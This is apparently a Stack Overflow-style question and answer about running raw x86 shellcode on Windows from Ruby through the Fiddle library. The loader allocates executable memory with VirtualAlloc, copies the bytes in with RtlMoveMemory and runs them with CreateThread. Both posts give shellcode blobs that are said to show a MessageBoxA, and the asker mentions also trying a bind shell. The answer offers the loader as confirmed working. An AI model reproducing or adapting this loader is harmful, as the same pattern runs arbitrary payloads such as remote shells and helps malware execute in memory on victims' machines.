How to use Fiddle with Windows API (dll) to run a shellcode in Ruby

Question

I'm trying to use ruby Fiddle standard library to Windows APIs to run a shellcode

The idea of the code is to

1. having a hexdicemial shellcode raw that executes anything (eg. MessageBoxA)
2. call kernel32.dll
3. allocate a memory for this shellcode. VirtualAlloc
4. create a buffer for this shellcode
5. move the shellcode to that allocation. RtlMoveMemory
6. create a new thread to execute that shellcode. CreateThread
7. wait for the execution/thread to end. WaitForSingleObject

here is the code:

require 'fiddle'
require 'fiddle/import'
require 'fiddle/types'

shellcode = # MessageBoxA
"\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42" +  
"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03" + 
"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b" + 
"\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e" + 
"\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c" + 
"\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74" + 
"\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe" + 
"\x49\x0b\x31\xc0\x51\x50\xff\xd7"

include Fiddle 
kernel32 = Fiddle.dlopen('kernel32')

puts "[-] VirtualAlloc"
ptr = Function.new(kernel32['VirtualAlloc'], [4,4,4,4], 4).call(0, (shellcode.size), 0x3000, 0x40)
Function.new(kernel32['VirtualProtect'], [4,4,4,4], 4).call(ptr, shellcode.size, 0, 0)

puts "[-] Create buffer"
buf = Fiddle::Pointer[shellcode]

puts "[-] RtlMoveMemory"
Function.new(kernel32['RtlMoveMemory'], [4, 4, 4], 4).call(ptr, buf, shellcode.size)

puts "[-] CreateThread"
# thread = Function.new(kernel32['CreateThread'], [4, 4, 4, 4, 4, -4], 4).call(0, 0, ptr, 0, 0, 0)
thread = Function.new(kernel32['CreateThread'], [4,4,4,4,4,4], 4).call(Fiddle::NULL, 0, ptr, 0, 0, 0)

pp Function.new(kernel32['WaitForSingleObject'], [4,4], 4).call(thread, -1)

The problem is the MessageBoxA never get executed, when I try to something like a bind shell, the TCP connection starts successfully when I connect but I can't execute commands and it ends once I send anything twice like pressing enter twice.

I checked the buffer buf size and contents buf.size, buf.to_str and it's accurate.

Am I missing something here?

Thanks!

Note: I don't want to call the MessageBoxA API directly I need to execute it from the shellcode.

Answer 1

Well, I think this code works perfectly

require 'fiddle'
require 'fiddle/import'
require 'fiddle/types'

# MessageBoxA
shellcode =
    "\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64" +
    "\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e" +
    "\x20\x8b\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60" +
    "\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b" +
    "\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01" +
    "\xee\x31\xff\x31\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d" +
    "\x01\xc7\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x01" +
    "\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01" +
    "\xe8\x89\x44\x24\x1c\x61\xc3\xb2\x08\x29\xd4\x89\xe5\x89" +
    "\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f\xff\xff\xff\x89\x45" +
    "\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52\xe8\x8e\xff\xff" +
    "\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33\x32\x2e\x64" +
    "\x68\x75\x73\x65\x72\x30\xdb\x88\x5c\x24\x0a\x89\xe6\x56" +
    "\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c\x24" +
    "\x52\xe8\x5f\xff\xff\xff\x68\x6f\x78\x58\x20\x68\x61\x67" +
    "\x65\x42\x68\x4d\x65\x73\x73\x31\xdb\x88\x5c\x24\x0a\x89" +
    "\xe3\x68\x52\x49\x58\x20\x68\x47\x53\x41\x42\x68\x40\x4b" +
    "\x49\x4e\x31\xc9\x88\x4c\x24\x0a\x89\xe1\x31\xd2\x52\x53" +
    "\x51\x52\xff\xd0\x31\xc0\x50\xff\x55\x08"


include Fiddle

kernel32 = Fiddle.dlopen('kernel32')

puts "[-] VirtualAlloc"
ptr = Function.new(kernel32['VirtualAlloc'], [4,4,4,4], 4).call(0, (shellcode.size), 0x3000, 0x40)
Function.new(kernel32['VirtualProtect'], [4,4,4,4], 4).call(ptr, shellcode.size, 0, 0)

puts "[-] Create buffer"
buf = Fiddle::Pointer[shellcode]

puts "[-] RtlMoveMemory"
Function.new(kernel32['RtlMoveMemory'], [4, 4, 4], 4).call(ptr, buf, shellcode.size)

puts "[-] CreateThread"
# thread = Function.new(kernel32['CreateThread'], [4,4,4,4,4,4], 4).call(Fiddle::NULL, 0, ptr, 0, 0, 0) # Works
thread = Function.new(kernel32['CreateThread'], [4,4,4,4,4,4], 4).call(0, 0, ptr, 0, 0, 0)              # Works
Function.new(kernel32['WaitForSingleObject'], [4,4], 4).call(thread, -1)

Note: The Shellcode should be OS architecture compatible. In our case, this MessageBoxA is 32-bit compatible.

Reference

• How to Execute Raw Shellcode Using Ruby On Windows and Linux

HTH Someone one day